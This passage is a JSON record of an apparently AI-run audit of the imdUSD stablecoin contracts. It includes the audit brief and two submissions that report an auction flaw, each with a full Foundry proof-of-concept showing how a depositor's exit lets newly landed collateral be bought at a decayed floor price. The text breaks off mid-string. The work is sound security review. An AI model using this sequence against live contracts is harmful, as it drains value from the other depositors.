{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"5fcd4063-312b-4b6f-aa7b-e848428876a7","kind":"audit","nodes":[{"acceptedSubmissionHash":"2a3daac1f8928933fdeebe36ed101c97cfe128e12a75e71357b4f86b37e57526","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"83da84e4383326543a8f90926734d6c4662a66a9cfd8ef4093eea50cb1a27740","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"4508800ecf8019cacc0490bda2d40bc81543153459c354f9699c4f95c8a79df5","dependsOn":["audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"ba5254035794fe08b945481016716580166cbe34b3f1f023d818414b46c3ef32","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"985f0d33a553c89c89aba2dae20f574d448b8389522644e85c2463f4c1b3d110","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"}],"objective":"RE-CHECK the wave-1 fixes in src/Ledger.sol, src/LedgerSettlement.sol, src/ImdUSD.sol, src/Redeemer.sol, src/Liquidator.sol, src/Treasury.sol, src/peg/FeeNotes.sol, src/backstop/Backstop.sol, and REVIEW THE DESIGN of every money path of the beta read together, the rule-driven src/peg/Allocator.sol and src/peg/PegHook.sol, at the pinned commit, for a capped mainnet beta.\n\nimdUSD v2 is a multi-collateral CDP stablecoin; this is its capped mainnet beta on Ethereum. Positions are NFT ids; borrowers set their own rate and redemptions take from the lowest rates first; liquidation is mark then bite, with a standing bid from Backstop sleeves; the peg pool is a Uniswap v4 pool with our own hook; prices come from Chainlink and swarm-attested feeds. README.md gives scope, invariants, trust model and known issues: read it first. This repository's first commit (2875ffb) was audited in wave 1; the second commit is the whole delta since (README 'What changed').\n\nBUILD AND TEST (required; Foundry, solc 0.8.26 via_ir per foundry.toml). Never build or test the whole project with solc: it needs about 49 GB. Run only this panel's tests: `forge test --match-path '{test/unit/AuditW1{Harvest,Circulating,PremiumBrake,PremiumLaunder,DeRiskNoRebind,NoteVsBadDebt,NoteAfterCover,RetireKeepsNotes},test/unit/{AllocatorRules,AllocatorAuctionBackstop,FullSystem,PegHook},test/invariant/Invariants}.t.sol'` (measured: about 4.8 GB peak, 9 minutes). With Foundry 1.9+, `forge test --use solar --no-match-path 'test/fork/*'` builds everything and runs all 1,267 tests in seconds under 1 GB (confirm a proof with solc). Write each proof as test/unit/Proof<Name>.t.sol, add it to the glob, run it, paste it with its output, then delete it: leave the tree unchanged.\n\nWave 1's findings and proofs are public: GET https://api.imd.fun/jobs/<id>/submissions for jobs 59d97f98 (ledger, liquidation), 584aadc2 (treasury, backstop), bd0ce553 (oracles, depth), cd9184ac (governance), 561e7d5b (peg), 3d73817d (seats), 17e4edf1 (deploy), 4384ebcc (full system). For questions 1-4, re-run each original proof for these files against this commit and say whether it still fails, and why.\n\nQuestions 5-8: For each: rank the options given (and any better one you find), try to refute ours with numbers or a test, and say what you would build, with its cost. Constraints: beta on 2026-12-07, code freeze about 2026-11-20 (only small contract changes before it); the Treasury holds almost no USDC; a swarm-attested answer costs 0.5 IMD and the IMD price leg may be at most 1 hour old. Report concrete defects as findings in the usual form.\n\nAnswer each numbered question:\n1. M1: health and liquidation now read the post-harvest state. Does every liquidation path (liquidate, bite, the standing bid, partial to target) see it, and can a harvest still move a healthy position into liquidation?\n2. M2: circulating() is held at the outermost flash loan's start and the Redeemer reads before its burn. Any sequence (nested or sequential loans, another minter's burn, redemption inside a loan) that still deflates or inflates it?\n3. Ledger lows: the charged rate change is held to the unbacked brake; the top-up premium stays at the rate before a cooldown chain's first change; a de-risking adjust keeps its risk version. Re-run the proofs; find the next cheapest variant.\n4. Treasury, notes, Backstop: payNote waits while bad debt is booked; retireReserve keeps the notes' face; seat and stock sales cover bad debt in the same transaction; Backstop.deposit for someone else adds only to their slot of today. Can any still be front-run, starved or griefed, and does any fix block liquidation or redemption?\n5. SUPPLY EQUATION AND THE LIQUIDATION MONEY PATH (README invariants): every mint and burn, mark, bite, standing bid, bad debt, the edge sleeve's first loss, the Treasury's cover, and collateral leaving a sleeve by the new auction. Value in must equal value out at every step; include flash-minted imdUSD into redemption, a caller liquidation, a Backstop deposit, the auction, peg swaps and PegPositionZap in one transaction.\n6. RULE-DRIVEN ALLOCATOR (new since 2875ffb). Anyone calls startAuction / buyCollateral (103% of max(low, high, payout) to 98% of low over 2 h; new collateral stops the price until a restart; payment never under the sleeve's floor), rebalanceVault (Safe-set keepLiquid), topUpBuffer, rebalanceLp (fixed $1 band, spot-vs-TWAP gate), next to the hook's keeper; callers pick the moment and, where rules share a token, which spends it. Where can that be bought or sandwiched (a lagging low, a pushed live pool, a pushed TWAP, a vault donation, auction restarts, bucket windows), and do the bounds close it? Review the new code too.\n7. PEG WITHOUT TREASURY USDC. Replay a depeg like v1's (one wallet borrowing and selling ~$10k in 500-unit lots into a pool with ~$2.5k per 0.25%) against PegHook's toll and buffer and redemption. Does the peg hold, how cheaply is it broken (split pushes pay ~1/3 of the toll), what smallest change makes it hold?\n8. FREEZER. The Safe is the only freezer (no key holds a fast stop); each action's daily bucket bounds a loss until it signs. Is that a sound bound for each rule-driven action, and what should the beta's bucket sizes be?\n\nNot findings: README.md 'Known issues and accepted risks' (say so if you find one worse than written); src/bridge, src/dex, src/earn/LoopVault.sol, src/stocks (after the beta) unless a question names them; test/ and mocks; gas only.\n\nFor every finding: severity by impact; file, line and the lines copied; the call sequence; a concrete failing state with expected against actual; whether it is reachable with script/DeployConfig.sol BetaConfig; the smallest fix; and a Foundry test that fails on this commit, RUN as BUILD says and pasted in full with its output (the judge reruns it). Answer every numbered question, including those where nothing is wrong.","parentJobId":null,"planHash":"d7fa4285c559b90e905209c34debe2b5449ed1adcd316f826a84294a67ddbe4a","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"5fcd4063-312b-4b6f-aa7b-e848428876a7","publication":{"commit":null,"deliveredAt":null,"repoUrl":null},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52626","feedbackHash":"3dce480ffea18dff2084f1822f269a7f3dc51056ec7499141701e3a675ce6a60","nodeKey":"audit_economics","submissionHash":"2a3daac1f8928933fdeebe36ed101c97cfe128e12a75e71357b4f86b37e57526","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51352","feedbackHash":"0b481e74720ba28e661888c035ec07ca9de7d876dbc84eebe7889ea32e6b6d84","nodeKey":"audit_flow","submissionHash":"83da84e4383326543a8f90926734d6c4662a66a9cfd8ef4093eea50cb1a27740","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51881","feedbackHash":"f3e4a2dd77b172eb37e5d59c403921a7b7756b0a0ec8bb29b2935c66a2efa72e","nodeKey":"audit_judge","submissionHash":"4508800ecf8019cacc0490bda2d40bc81543153459c354f9699c4f95c8a79df5","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"56258","feedbackHash":"40d7c4964c6ad41cbc96ed23200c0c932e030c1c78ea87126788db2f47dcb631","nodeKey":"audit_math","submissionHash":"ba5254035794fe08b945481016716580166cbe34b3f1f023d818414b46c3ef32","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50981","feedbackHash":"8768aef81c541591deb35f7fdfa38726b715caf303b6ec3a4ee594209cc2fb40","nodeKey":"audit_permissions","submissionHash":"985f0d33a553c89c89aba2dae20f574d448b8389522644e85c2463f4c1b3d110","tag1":"review:submission","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"b34dfedbd1b767bfbca11999e41cc13aae3ae7f5c8ef8f6fa2ee7979865c4416","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"790f4e545968ee92","findings":[{"citation":"resolved","description":"The README and NatSpec say that collateral reaching a sleeve after a run started stops the price until someone restarts the run, so new collateral is always offered from the top (103% of max(low, high, payout)). The Allocator detects 'new collateral' by comparing the sleeve's current balance coll[token] with the snapshot auctionColl taken at startAuction (Allocator.sol:336) and after each buy (Allocator.sol:366). But coll[token] also FALLS without a sale: every matured Backstop.withdraw pays collateral pro rata in kind (Backstop.sol:498-499, `coll[tokens[i]] -= collOut[i];`). Then the standing bid of a later liquidation (closeBid, Backstop.sol:571 `coll[token] += received;`) can land up to the exited amount without coll ever exceeding auctionColl. _auction does not revert AuctionStale and auctionPrice/buyCollateral offer the NEW collateral at the run's current decayed price, down to the 98%-of-low floor. A sleeve holder with a matured request can do it on purpose in one transaction: withdraw (coll drops), liquidate a covered position (the standing bid adds collateral), buyCollateral at the floor. Honest exits cause it too. Who loses: the sleeve's other depositors lose the gap between the top and the floor on the re-landed collateral (about 5% when high is about low, more in a rally where low lags), which is most of the liquidation penalty they were meant to earn. It is bounded by the BACKSTOP_SALE bucket and by Backstop's saleLimit, and it never goes below the sleeve's 98%-of-low floor. Reachable in the beta once the Safe's setup allowlists BACKSTOP_SALE for a sleeve, which is the intended way to sell seized collateral. With the real Backstop, a 25% holder's exit followed by one liquidation hides 25 WETH: the run sells them at 1,960 instead of from 2,163. Smallest fix: compare monotonic arrivals instead of a balance. Backstop keeps `collIn[token] += received` in closeBid (and anywhere else collateral is credited). The Allocator snapshots collIn at startAuction (and needs no re-snapshot on a buy, since a buy is not an arrival), and _auction/startAuction treat `collIn > snapshot` as stale. Another option: Backstop.withdraw could lower the Allocator's snapshot through a hook, but the counter is simpler.","line":707,"path":"src/peg/Allocator.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {Allocator} from \"src/peg/Allocator.sol\";\nimport {Backstop} from \"src/backstop/Backstop.sol\";\nimport {IBackstopOracle, ILedgerCover} from \"src/backstop/IBackstop.sol\";\n\ncontract XTok is ERC20 {\n    constructor(string memory n) ERC20(n, n) {}\n\n    function mint(address to, uint256 a) external {\n        _mint(to, a);\n    }\n\n    /// The Ledger's minter burn (the standing bid burns the debt it repays from the sleeve).\n    function burnFrom(address from, uint256 a) external {\n        _burn(from, a);\n    }\n}\n\n/// PricerOracle's surface: WETH low 2,000, high 2,100, payout 2,100.\ncontract XOracle is IBackstopOracle {\n    function priceOf(address) external pure returns (uint256, uint256, bool) {\n        return (2000e18, 2100e18, true);\n    }\n\n    function pricedAt(address) external view returns (uint256) {\n        return block.timestamp;\n    }\n\n    function payoutOf(address) external pure returns (uint256) {\n        return 2100e18;\n    }\n}\n\n/// No bad debt booked anywhere.\ncontract XLedger is ILedgerCover {\n    function cover(bytes32, uint256) external {}\n\n    function ilkState(bytes32) external pure returns (uint128, uint128, uint256, uint64, uint128) {\n        return (0, 0, 0, 0, 0);\n    }\n}\n\n/// Plays the Liquidator's standing bid in ONE call (the bid's state is transient): openBid, the Ledger burns the repaid\n/// debt from the sleeve and the Join sends the seized collateral, closeBid books it (Backstop.sol:571).\ncontract XLiquidator {\n    function bid(Backstop sleeve, bytes32 ilk, XTok usd, XTok weth, uint256 repaid, uint256 seized) external {\n        sleeve.openBid(ilk);\n        usd.burnFrom(address(sleeve), repaid);\n        weth.mint(address(sleeve), seized);\n        sleeve.closeBid(ilk, repaid);\n    }\n}\n\ncontract ProofAuctionExitHidesArrival is Test {\n    bytes32 constant ETH = \"ETH\";\n    address gov = address(0x5AFE);\n    XLiquidator liquidator;\n    address holder = address(0xB0B);\n    address other = address(0xA11CE);\n    address buyer = address(0xB0E);\n    XTok usd;\n    XTok weth;\n    Backstop sleeve;\n    Allocator alloc;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        usd = new XTok(\"imdUSD\");\n        weth = new XTok(\"WETH\");\n        liquidator = new XLiquidator();\n        alloc = new Allocator(gov, address(0x7EA), gov, 100);\n        sleeve = new Backstop(IERC20(address(usd)), new XLedger(), new XOracle(), false, \"blue\", \"bBLUE\");\n        sleeve.wire(address(liquidator), address(0xFA2A), address(alloc));\n        sleeve.addIlk(ETH, address(weth), 0, type(uint128).max, type(uint128).max);\n\n        bytes32 sale = alloc.BACKSTOP_SALE();\n        vm.startPrank(gov);\n        alloc.propose(abi.encode(uint8(2), sale, address(sleeve))); // ADD_TARGET\n        alloc.propose(abi.encode(uint8(1), sale, address(sleeve), uint128(1e30), uint128(1e30))); // SET_LIMIT\n        vm.stopPrank();\n\n        // Two depositors fund the sleeve; their buckets convert after a full day.\n        _deposit(holder, 100_000e18);\n        _deposit(other, 300_000e18);\n        vm.warp(block.timestamp + 48 hours + 1);\n        alloc.applyPending(2);\n        alloc.applyPending(1);\n        sleeve.realize(holder);\n        sleeve.realize(other);\n    }\n\n    function _deposit(address who, uint256 a) internal {\n        usd.mint(who, a);\n        vm.startPrank(who);\n        usd.approve(address(sleeve), a);\n        sleeve.deposit(a, who);\n        vm.stopPrank();\n    }\n\n    /// The standing bid exactly as Liquidator.bite drives it: openBid, the Ledger burns the repaid debt from the sleeve and\n    /// sends the seized collateral (Join.exit), closeBid books it (Backstop.sol:571 `coll[token] += received`).\n    function _standingBid(uint256 repaid, uint256 seized) internal {\n        liquidator.bid(sleeve, ETH, usd, weth, repaid, seized);\n    }\n\n    function test_collateralLandingAfterAnExitSellsAtTheFloor() public {\n        // A liquidation lands 100 WETH (debt 190,000 repaid, penalty 5%). Anyone starts the run; it reaches its floor.\n        _standingBid(190_000e18, 100e18);\n        alloc.startAuction(address(sleeve), address(weth));\n        uint256 hs = sleeve.balanceOf(holder);\n        assertGt(hs, 0, \"holder's bucket converted\");\n        vm.prank(holder);\n        sleeve.requestWithdraw(hs);\n        vm.warp(block.timestamp + 7 days);\n        assertEq(alloc.auctionPrice(address(sleeve), address(weth)), 1960e18, \"run at its floor, 98% of low\");\n\n        // The holder's matured exit takes its pro-rata WETH in kind (coll falls), then the next liquidation's standing bid\n        // lands the same amount of NEW collateral. coll is back at the run's snapshot, never above it.\n        uint256 before = sleeve.coll(address(weth));\n        vm.prank(holder);\n        sleeve.withdraw(holder);\n        uint256 exited = before - sleeve.coll(address(weth));\n        assertGt(exited, 24e18);\n        _standingBid(exited * 1900, exited); // debt repaid 1,900 per WETH (5% penalty at low 2,000)\n        assertEq(sleeve.coll(address(weth)), before);\n\n        // README: \"collateral that arrives later stops the price until anyone restarts the run, so it is always offered from\n        // the top\" (103% x 2,100 = 2,163). EXPECTED: AuctionStale. ACTUAL: the new WETH is for sale at the floor.\n        try alloc.auctionPrice(address(sleeve), address(weth)) returns (uint256 p) {\n            usd.mint(buyer, 1e24);\n            vm.startPrank(buyer);\n            usd.approve(address(alloc), type(uint256).max);\n            uint256 pay = alloc.buyCollateral(address(sleeve), address(weth), exited, type(uint256).max);\n            vm.stopPrank();\n            emit log_named_decimal_uint(\"new WETH landed after the exit\", exited, 18);\n            emit log_named_decimal_uint(\"auction price offered for it\", p, 18);\n            emit log_named_decimal_uint(\"paid by the buyer\", pay, 18);\n            emit log_named_decimal_uint(\"value at the run's top (2,163)\", exited * 2163, 18);\n            assertTrue(false, \"new collateral sold at the decayed floor instead of AuctionStale (offer from the top)\");\n        } catch (bytes memory err) {\n            assertEq(bytes4(err), Allocator.AuctionStale.selector, \"new collateral stops the price\");\n        }\n    }\n}","reproduction":"Real Backstop (blue sleeve) and Allocator; only the oracle (WETH low 2,000 / high 2,100 / payout 2,100), the no-bad-debt ledger view and the tokens are mocks, and a one-call helper plays the Liquidator's standing bid (openBid, burn the repaid debt, the Join sends the seized collateral, closeBid). Steps: two depositors put in 100k and 300k imdUSD, which convert. A standing bid lands 100 WETH (repaid 190,000). startAuction. The holder of the 100k requests an exit, and 7 days later the run has long been at its floor, 1,960. withdraw() takes 25 WETH in kind (coll 100 -> 75). The next liquidation's standing bid lands 25 new WETH (repaid 47,500; coll 75 -> 100 = auctionColl). Expected: auctionPrice reverts AuctionStale, and the 25 new WETH are offered from 2,163 (103% of 2,100) after a restart. Actual: auctionPrice = 1,960, and buyCollateral(25 WETH) pays 49,000 imdUSD in the same block: 5,075 under the run's top and 1,000 under `low`. The remaining holders keep only 1,500 of the 2,500 penalty. Run: forge test --match-path test/scratch/ProofAuctionExitHidesArrival.t.sol -vv -> [FAIL: new collateral sold at the decayed floor instead of AuctionStale (offer from the top)] with logs: new WETH landed after the exit 24.999999999999999999; auction price offered for it 1960.0; paid by the buyer 48999.999999999999998040; value at the run's top (2,163) 54074.999999999999997837. It passes once _auction/startAuction compare a monotonic arrivals counter instead of the balance.","severity":"medium","snippet":"        if (IBackstopSale(backstop).coll(collateral) > auctionColl[k]) revert AuctionStale();","title":"Allocator auction: collateral that lands after a sleeve exit is sold at the decayed price (staleness is a balance compare, so an exit hides new arrivals)"}],"hash":"2a3daac1f8928933fdeebe36ed101c97cfe128e12a75e71357b4f86b37e57526","nodeId":"f1a5ffb2-f7a2-48a2-b22f-289d92a72471","outcome":"completed","summary":"I found one defect, in the new Allocator auction, and recorded it in `.imd-findings.json`. Every wave-1 fix I re-checked holds, with one wave-1 low left as it was by choice.\n\n**What ran:**\n- I fetched the wave-1 submissions (the short job ids are rejected; I resolved the full ids through `/jobs`) and re-ran 10 of the original proofs for these files against `5de80a6` with solc.\n- The panel command run in one go was killed without output (probably out of memory on this 15 GB machine). Split into three runs, all of it passed: the 8 AuditW1 suites (14/14), `Invariants.t.sol` (2 tests, all 7 invariants including `invariant_supplyEquation`), and AllocatorRules, AllocatorAuctionBackstop, FullSystem and PegHook (123/123).\n- I did not use solar (Foundry here is 1.8.3). `test/scratch/` is deleted and the tree is unchanged.\n\n## Finding (medium): an exit hides new collateral from the auction, which sells it at the decayed price\n\n- **Where:** `src/peg/Allocator.sol:707`\n  ```solidity\n          if (IBackstopSale(backstop).coll(collateral) > auctionColl[k]) revert AuctionStale();\n  ```\n- **Cause:** the Allocator treats collateral as \"new\" only when the sleeve's balance rises above the snapshot taken at `startAuction` or after a buy (lines 336 and 366). But every matured `Backstop.withdraw` pays collateral out in kind, which lowers that balance (`Backstop.sol:498-499`). A later standing bid can then add up to the exited amount (`Backstop.sol:571`) without the balance ever passing the snapshot. The new collateral is offered at the run's decayed price, down to 98% of `low`. That breaks the README rule that new collateral stops the price until a restart.\n- **Who can trigger it:** a holder with a matured exit can do it in one transaction (withdraw, liquidate a covered position, `buyCollateral`). Ordinary exits cause it too. It is reachable under BetaConfig once the Safe's setup allowlists `BACKSTOP_SALE` for a sleeve.\n- **Proof:** `ProofAuctionExitHidesArrival`. It uses the real `Backstop` and `Allocator`; only the oracle (low 2,000, high 2,100), the no-bad-debt ledger view and the tokens are mocks.\n  - Setup: 100 WETH land and the run reaches its floor. A 25% holder exits and takes 25 WETH; the next liquidation lands 25 new WETH.\n  - Expected: `AuctionStale`, then a restart that offers them from 2,163.\n  - Actual output:\n    ```\n    [FAIL: new collateral sold at the decayed floor instead of AuctionStale (offer from the top)]\n      new WETH landed after the exit: 24.999999999999999999\n      auction price offered for it: 1960.000000000000000000\n      paid by the buyer: 48999.999999999999998040\n      value at the run's top (2,163): 54074.999999999999997837\n    ```\n  - The sleeve paid 47,500 for that collateral. The buyer paid 49,000, 5,075 under the top and 1,000 under `low`, so the other depositors keep 1,500 of the 2,500 penalty.\n- **Smallest fix:** `Backstop` keeps a running total of collateral received per token (`collIn[token] += received` in `closeBid`). The Allocator snapshots that total and treats any increase as stale. That is a few lines in each contract.\n\n## Answers\n\n**1. M1 (harvest).** Fixed on every path. `bark`, `bite`, `liquidate`, the standing bid and `settle` all go through `_requireUnhealthy`, which reads `ledger.healthy`, which measures after the pending harvest (`Ledger.sol:449-471`). `liquidatePosition` runs `_harvest` first, and partial-to-target computes what to repay from the harvested state. A third party's harvest no longer changes health.\n- The original proof now fails at its first assertion (the bug's precondition no longer holds), and the three `AuditW1Harvest` tests pass.\n- What is left is by design: on S-USDC, below a CR of about 1/(1 − yieldFee) (about 111%), accrued yield itself lowers health.\n- Minor: `bark` records the edge mark at the pre-harvest `debtOf`, which over-counts slightly in the safe direction.\n\n**2. M2 (`circulating`).** During a loan it reads `max(supply − inFlight, start)`, with `start` stored only","treeHash":null,"usage":{"cachedInputTokens":4179934,"cost":{"source":"runtime","usdMicros":2891179},"inputTokens":84,"model":"claude-opus-5-5","outputTokens":45132,"runtime":"claude","turns":52,"wallClockMs":2232467}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1a7ecd03bd365366","findings":[{"citation":"resolved","description":"startAuction (line 335) and _auction (line 707) detect 'collateral the run has not offered' by comparing the sleeve's CURRENT holding Backstop.coll(token) with auctionColl[k], the holding recorded at the run's start and after each buy (line 366). But Backstop.withdraw pays matured exits pro rata IN KIND and lowers coll[token] (Backstop.sol:497-499, `coll[tokens[i]] -= collOut[i];`) without the Allocator seeing it. After any exit, the next liquidation's standing bid (Backstop.closeBid, `coll[token] += received;`) raises coll back up to the stale snapshot without exceeding it: _auction does not revert AuctionStale, startAuction reverts AuctionRunning while the run's clock lasts, and the fresh collateral is for sale at whatever price the run has decayed to. Once a run is older than 2 h it sits at 98% of `low` forever, so fresh liquidation collateral is sold at the floor the moment it lands, with no descent from 103% of max(low, high, payout). README ('Allocator'; 'Rule-driven Allocator actions' in Known issues) and the contract header promise the opposite: 'collateral that arrives later stops the price until anyone restarts the run, so it is always offered from the top'. A depositor who is also a buyer controls the moment: queue a withdrawal 7 days ahead, then in one transaction withdraw in kind, liquidate an unhealthy covered position into the sleeve's standing bid (permissionless Liquidator.liquidate) and buyCollateral at the floor, taking the top-to-floor gap (about 5% when high is near low, more in a rally where low lags) from the other depositors. Honest exits cause it too. Bounded by the BACKSTOP_SALE bucket and the sleeve's saleLimit; never below the sleeve's own 98%-of-low floor. Reachable with script/DeployConfig.sol BetaConfig: both sleeves have depositors who may exit, every covered type (ETH, wstETH, cbBTC, WBTC, stables) liquidates into them, and the auction is the only collateral exit once the Safe allowlists BACKSTOP_SALE. Merged from three specialists (audit_permissions 0c9a19db, audit_flow 636dd73c, audit_economics 34b9c6a6); all three proofs were run and fail on this commit for this reason. Smallest fix: key staleness on a monotonic arrivals counter rather than the balance. Backstop keeps `collIn[token] += received` in closeBid (and wherever collateral is credited); startAuction snapshots collIn and _auction treats `collIn > snapshot` as stale (a buy is not an arrival, so no re-snapshot on buy). Alternatively, Allocator-only, lower auctionColl to coll whenever coll reads below it before comparing (catches arrivals only above the pre-exit level, so it is weaker).","line":707,"path":"src/peg/Allocator.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {Allocator} from \"src/peg/Allocator.sol\";\nimport {Backstop} from \"src/backstop/Backstop.sol\";\nimport {IBackstopOracle, ILedgerCover} from \"src/backstop/IBackstop.sol\";\n\ncontract XTok is ERC20 {\n    constructor(string memory n) ERC20(n, n) {}\n\n    function mint(address to, uint256 a) external {\n        _mint(to, a);\n    }\n\n    /// The Ledger's minter burn (the standing bid burns the debt it repays from the sleeve).\n    function burnFrom(address from, uint256 a) external {\n        _burn(from, a);\n    }\n}\n\n/// PricerOracle's surface: WETH low 2,000, high 2,100, payout 2,100.\ncontract XOracle is IBackstopOracle {\n    function priceOf(address) external pure returns (uint256, uint256, bool) {\n        return (2000e18, 2100e18, true);\n    }\n\n    function pricedAt(address) external view returns (uint256) {\n        return block.timestamp;\n    }\n\n    function payoutOf(address) external pure returns (uint256) {\n        return 2100e18;\n    }\n}\n\n/// No bad debt booked anywhere.\ncontract XLedger is ILedgerCover {\n    function cover(bytes32, uint256) external {}\n\n    function ilkState(bytes32) external pure returns (uint128, uint128, uint256, uint64, uint128) {\n        return (0, 0, 0, 0, 0);\n    }\n}\n\n/// Plays the Liquidator's standing bid in ONE call (the bid's state is transient): openBid, the Ledger burns the repaid\n/// debt from the sleeve and the Join sends the seized collateral, closeBid books it (Backstop.sol:571).\ncontract XLiquidator {\n    function bid(Backstop sleeve, bytes32 ilk, XTok usd, XTok weth, uint256 repaid, uint256 seized) external {\n        sleeve.openBid(ilk);\n        usd.burnFrom(address(sleeve), repaid);\n        weth.mint(address(sleeve), seized);\n        sleeve.closeBid(ilk, repaid);\n    }\n}\n\ncontract ProofAuctionExitHidesArrival is Test {\n    bytes32 constant ETH = \"ETH\";\n    address gov = address(0x5AFE);\n    XLiquidator liquidator;\n    address holder = address(0xB0B);\n    address other = address(0xA11CE);\n    address buyer = address(0xB0E);\n    XTok usd;\n    XTok weth;\n    Backstop sleeve;\n    Allocator alloc;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        usd = new XTok(\"imdUSD\");\n        weth = new XTok(\"WETH\");\n        liquidator = new XLiquidator();\n        alloc = new Allocator(gov, address(0x7EA), gov, 100);\n        sleeve = new Backstop(IERC20(address(usd)), new XLedger(), new XOracle(), false, \"blue\", \"bBLUE\");\n        sleeve.wire(address(liquidator), address(0xFA2A), address(alloc));\n        sleeve.addIlk(ETH, address(weth), 0, type(uint128).max, type(uint128).max);\n\n        bytes32 sale = alloc.BACKSTOP_SALE();\n        vm.startPrank(gov);\n        alloc.propose(abi.encode(uint8(2), sale, address(sleeve))); // ADD_TARGET\n        alloc.propose(abi.encode(uint8(1), sale, address(sleeve), uint128(1e30), uint128(1e30))); // SET_LIMIT\n        vm.stopPrank();\n\n        // Two depositors fund the sleeve; their buckets convert after a full day.\n        _deposit(holder, 100_000e18);\n        _deposit(other, 300_000e18);\n        vm.warp(block.timestamp + 48 hours + 1);\n        alloc.applyPending(2);\n        alloc.applyPending(1);\n        sleeve.realize(holder);\n        sleeve.realize(other);\n    }\n\n    function _deposit(address who, uint256 a) internal {\n        usd.mint(who, a);\n        vm.startPrank(who);\n        usd.approve(address(sleeve), a);\n        sleeve.deposit(a, who);\n        vm.stopPrank();\n    }\n\n    /// The standing bid exactly as Liquidator.bite drives it: openBid, the Ledger burns the repaid debt from the sleeve and\n    /// sends the seized collateral (Join.exit), closeBid books it (Backstop.sol:571 `coll[token] += received`).\n    function _standingBid(uint256 repaid, uint256 seized) internal {\n        liquidator.bid(sleeve, ETH, usd, weth, repaid, seized);\n    }\n\n    function test_collateralLandingAfterAnExitSellsAtTheFloor() public {\n        // A liquidation lands 100 WETH (debt 190,000 repaid, penalty 5%). Anyone starts the run; it reaches its floor.\n        _standingBid(190_000e18, 100e18);\n        alloc.startAuction(address(sleeve), address(weth));\n        uint256 hs = sleeve.balanceOf(holder);\n        assertGt(hs, 0, \"holder's bucket converted\");\n        vm.prank(holder);\n        sleeve.requestWithdraw(hs);\n        vm.warp(block.timestamp + 7 days);\n        assertEq(alloc.auctionPrice(address(sleeve), address(weth)), 1960e18, \"run at its floor, 98% of low\");\n\n        // The holder's matured exit takes its pro-rata WETH in kind (coll falls), then the next liquidation's standing bid\n        // lands the same amount of NEW collateral. coll is back at the run's snapshot, never above it.\n        uint256 before = sleeve.coll(address(weth));\n        vm.prank(holder);\n        sleeve.withdraw(holder);\n        uint256 exited = before - sleeve.coll(address(weth));\n        assertGt(exited, 24e18);\n        _standingBid(exited * 1900, exited); // debt repaid 1,900 per WETH (5% penalty at low 2,000)\n        assertEq(sleeve.coll(address(weth)), before);\n\n        // README: \"collateral that arrives later stops the price until anyone restarts the run, so it is always offered from\n        // the top\" (103% x 2,100 = 2,163). EXPECTED: AuctionStale. ACTUAL: the new WETH is for sale at the 